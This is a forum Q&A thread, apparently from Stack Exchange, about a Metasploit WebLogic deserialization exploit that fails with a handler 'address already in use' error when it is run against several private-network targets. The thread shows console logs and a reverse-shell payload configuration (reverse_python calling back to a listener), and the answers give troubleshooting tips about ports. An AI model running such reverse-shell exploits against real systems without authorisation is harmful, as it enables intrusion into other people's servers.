0

I am attempting to pentest multiple Weblogic servers, however, when I

"run" or "exploit" or even "exploit -J",

metasploit begins to attack multiple targets at once, which results in "address is already in use"

EDIT: THE HANDLER STARTS WHEN THE ATTACK STARTS, AND THE HANDLER DOES NOT END BEFORE THE NEXT ATTACK STARTS, THEREFORE, THE ADDRESS IS ALREADY IN USE... HOW DO I GET THIS EXPLOIT TO ATTACK ONE TARGET AT A TIME?

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > run
[*] Exploiting target 192.168.27.24
[*] Exploiting target 192.168.27.25
[*] Started reverse TCP handler on 192.168.27.10:4444
[*] Exploiting target 192.168.27.26
[-] Handler failed to bind to 192.168.27.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] 192.168.27.26:7001 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

Here are my options

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > show options

Module options (exploit/multi/misc/weblogic_deserialize_unicastref):

Name     Current Setting                                Required  Description
----     ---------------                                --------  -----------
RHOSTS   file:/tmp/msf-db-rhosts-20190415-21066-ez3gp8  yes       The target address range or CIDR identifier
RPORT    7001                                           yes       The target port (TCP)
SRVHOST  0.0.0.0                                        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT  8080                                           yes       The local port to listen on.
SSL      false                                          no        Negotiate SSL for incoming connections
SSLCert                                                 no        Path to a custom SSL certificate (default is randomly generated)


Payload options (cmd/unix/reverse_python):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.27.10    yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
SHELL  /bin/bash        yes       The system shell to use.


Exploit target:

Id  Name
--  ----
0   Unix

any ideas what I might be doing wrong?

1

This error has nothing to do with attacking multiple targets. The error is due to the fact that the handler which is used to receive and interact with the incoming sessions are unable to bind to the port 4444. This means either another job (handler within MSF) or another process is running on the port. Run netstat -anpl | grep :4444 on the Linux prompt to determine which process is currently listening on the port. If can run the jobs command on the msf console as well to see if any prior jobs are still running. Run jobs -K to kill any running jobs and then run the exploit command again. You can change the LPORT of the payload as well to make the handler listen on another port.

  • The reason 4444 is in use, is because the handler is started when the attack is started, please review the attack log again, you can see the handler is started and is not closed before the next attack begins... – Romanian Strife Apr 15 at 10:14
  • btw, I ran the netstat command, and nothing is using that port, i am confident that port is being used by the handler when the attack starts... – Romanian Strife Apr 15 at 10:15
0

it can happen for 2 reasons, 1 - you do not have a handler working in the tcp port 4444 or some other application is already using the port 4444.

Try to run the command: "SET LPORT 4445" and see if it works or check if something is running in your host like was mentioned in the previous post.

  • another application is not using 4444, the handler starts when the attack starts, and it doesnt end, before starting the next attack... – Romanian Strife Apr 15 at 14:15

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.